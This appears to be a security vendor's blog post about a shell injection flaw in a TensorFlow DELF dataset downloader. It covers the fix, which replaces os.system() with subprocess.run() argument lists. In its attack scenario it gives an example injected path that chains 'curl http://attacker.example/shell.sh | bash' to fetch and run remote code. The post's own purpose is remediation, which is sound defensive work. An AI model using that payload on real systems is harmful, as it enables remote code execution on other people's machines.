How Shell Injection via os.system() happens in Python and how to fix it

The Vulnerability: Shell Injection in TensorFlow's DELF Dataset Downloader

The research/delf/delf/python/datasets/sfm120k/dataset_download.py file handles downloading and extracting the Structure-from-Motion 120k (SfM120k) dataset used in TensorFlow's DELF (Deep Local Features) research project. A seemingly routine dataset utility contained a high-severity shell injection flaw in its download_train() function — one that could hand an attacker full command execution on any machine running it.

The root cause: four calls to os.system() constructed shell command strings by directly interpolating the data_dir parameter, which flows in from the caller without sanitization.

The Vulnerability Explained

What the Code Did

Inside download_train(data_dir), the script builds destination paths from the caller-supplied data_dir argument and then passes those paths directly into shell commands:

# VULNERABLE — before the fix
os.system('wget {} -O {}'.format(src_file, dst_file))
os.system('tar -zxf {} -C {}'.format(dst_file, dst_dir))
os.system('rm {}'.format(dst_file))
os.system('ln -s {} {}'.format(dst_dir_old, dst_dir))

Here, dst_file and dst_dir are derived from data_dir:

datasets_dir = os.path.join(data_dir, 'train')
dst_dir = os.path.join(datasets_dir, 'ims')
dst_file = os.path.join(datasets_dir, 'ims.tar.gz')

Because os.system() passes its argument to /bin/sh -c, every special character in the string is interpreted by the shell. If data_dir contains shell metacharacters, the shell will execute them.

The Attack Scenario

An attacker who can control the data_dir argument — for example, through a web interface, CLI tool, or orchestration system that calls download_train() — can craft a path like:

/tmp/data; curl http://attacker.example/shell.sh | bash; #

When this value reaches the wget command, the shell sees:

wget https://legitimate-source/ims.tar.gz -O /tmp/data; curl http://attacker.example/shell.sh | bash; #/train/ims.tar.gz

The semicolons terminate the wget command, execute curl | bash (downloading and running arbitrary code), and the # comments out the rest. The attacker achieves remote code execution on the host system with the privileges of the Python process.

The same injection opportunity exists in the tar, rm, and ln -s calls — four separate exploitation points in a single function.

Why This Matters for ML Infrastructure

Dataset download scripts are often run in privileged environments: CI/CD pipelines, cloud training instances, or developer workstations with access to model weights, credentials, and internal networks. A compromised training environment can poison models, exfiltrate IP, or pivot to production systems. The DELF script is part of TensorFlow's official models repository, meaning it has wide reach across the ML community.

The Fix

Replacing os.system() with subprocess.run() Argument Lists

The fix is elegant and complete: every os.system() call is replaced with subprocess.run() using a list of arguments rather than a shell string.

# BEFORE — shell interprets the entire string
os.system('wget {} -O {}'.format(src_file, dst_file))
os.system('tar -zxf {} -C {}'.format(dst_file, dst_dir))
os.system('rm {}'.format(dst_file))
os.system('ln -s {} {}'.format(dst_dir_old, dst_dir))

# AFTER — no shell involved; each element is a literal argument
subprocess.run(['wget', src_file, '-O', dst_file], check=True)
subprocess.run(['tar', '-zxf', dst_file, '-C', dst_dir], check=True)
subprocess.run(['rm', dst_file], check=True)
subprocess.run(['ln', '-s', dst_dir_old, dst_dir], check=True)

Why This Works

When subprocess.run() receives a list, Python's subprocess module calls execvp() directly — it never invokes a shell. Each list element is passed as a discrete argument to the target program. If data_dir is /tmp/data; curl http://attacker.example/shell.sh | bash, wget receives that entire string as its -O output path argument and tries to create a file with that name — it does not execute the injected commands.

The check=True parameter is an additional improvement: it raises a subprocess.CalledProcessError if the command exits with a non-zero status, making failures explicit rather than silently ignored (as os.system() often is when its return value isn't checked).

The import subprocess line is added at the top of the file alongside the existing import os, keeping the change minimal and reviewable.

The Late-Function Fix

The diff also patches a second wget call deeper in the function (line ~90), which downloads individual database files in a loop:

# BEFORE
os.system('wget {} -O {}'.format(src_file, dst_file))

# AFTER
subprocess.run(
    ['wget', src_file, '-O', dst_file], check=True)

This ensures the injection fix is complete — no os.system() calls remain in the file.

Prevention & Best Practices

1. Never Use os.system() with Variable Input

os.system() is a thin wrapper around system(3), which passes its argument to /bin/sh -c. Any variable content in that string is a potential injection point. Treat os.system() as deprecated for security-sensitive code.

2. Default to subprocess.run() with Argument Lists

# Safe pattern — always prefer this
subprocess.run(['command', arg1, arg2], check=True)

# Dangerous — avoid this even if you think input is safe
subprocess.run(f'command {arg1} {arg2}', shell=True)

The list form is not just safer — it's also more readable and avoids quoting bugs.

3. Avoid shell=True Unless Absolutely Necessary

subprocess.run(..., shell=True) reintroduces the shell and all its injection risks. If you need shell features like globbing or pipes, consider restructuring the logic in Python instead.

4. Validate and Sanitize Path Inputs

Even with subprocess.run(), validate that data_dir is a legitimate filesystem path before use:

import pathlib

def download_train(data_dir):
    # Resolve and validate the path
    data_path = pathlib.Path(data_dir).resolve()
    if not str(data_path).startswith('/allowed/base/path'):
        raise ValueError(f"Invalid data_dir: {data_dir}")
    ...

5. Use Static Analysis to Catch These Patterns Early

• Bandit: Run bandit -r . — it flags os.system() calls as B605
• Semgrep: The rule python.lang.security.audit.subprocess-shell-true catches shell=True usage
• OrbisAI: Detected this specific pattern automatically via multi-agent scanning

Relevant Standards

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP A03:2021: Injection — command injection is explicitly listed
• OWASP Command Injection Defense Cheat Sheet: Recommends avoiding shell invocation entirely

Key Takeaways

• os.system() with string formatting is structurally unsafe: In dataset_download.py, four separate os.system() calls all shared the same flaw — any one of them was sufficient for exploitation.
• data_dir was the taint source: A parameter that looks like a benign filesystem path can carry shell metacharacters; never trust it in a shell context.
• subprocess.run() with a list is the correct default: The fix required no input validation because the shell is bypassed entirely — the injection is architecturally impossible with argument lists.
• check=True improves reliability alongside security: The original os.system() calls silently swallowed failures; check=True raises exceptions on non-zero exit codes, making errors visible.
• ML dataset utilities run in privileged environments: Scripts like download_train() are often executed in cloud training jobs or CI pipelines — the blast radius of a shell injection here is larger than in a typical web app.

How Orbis AppSec Detected This

• Source: The data_dir parameter passed to download_train() in dataset_download.py — caller-controlled filesystem path with no validation
• Sink: os.system('wget {} -O {}'.format(src_file, dst_file)) at line 52, and three additional os.system() calls in the same function, where dst_file and dst_dir derive directly from data_dir
• Missing control: No shell metacharacter sanitization, no path allowlisting, and no use of shell-safe subprocess APIs
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: All four os.system() string-interpolation calls replaced with subprocess.run() argument lists, removing shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The download_train() vulnerability in dataset_download.py is a textbook example of how a utility script — not a web endpoint, not an API handler — can harbor critical security flaws. The developer's intent was straightforward: download a dataset, extract it, clean up. But by reaching for os.system() and string formatting, they inadvertently handed any caller with a crafted data_dir a full shell on the machine.

The fix is equally instructive: replacing os.system() with subprocess.run() and argument lists required minimal code change but eliminated the vulnerability structurally. No allowlist, no regex, no escaping — just removing the shell from the equation entirely.

For Python developers, the lesson is simple: os.system() with any variable content is a red flag. Make subprocess.run(['cmd', arg1, arg2], check=True) your default, and reserve shell strings for cases where you truly need shell features — and even then, treat every variable as hostile.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP OS Command Injection Defense Cheat Sheet
• Python subprocess documentation — Security Considerations
• Semgrep rules: subprocess shell injection
• fix: use subprocess instead of os.system in dataset_download.py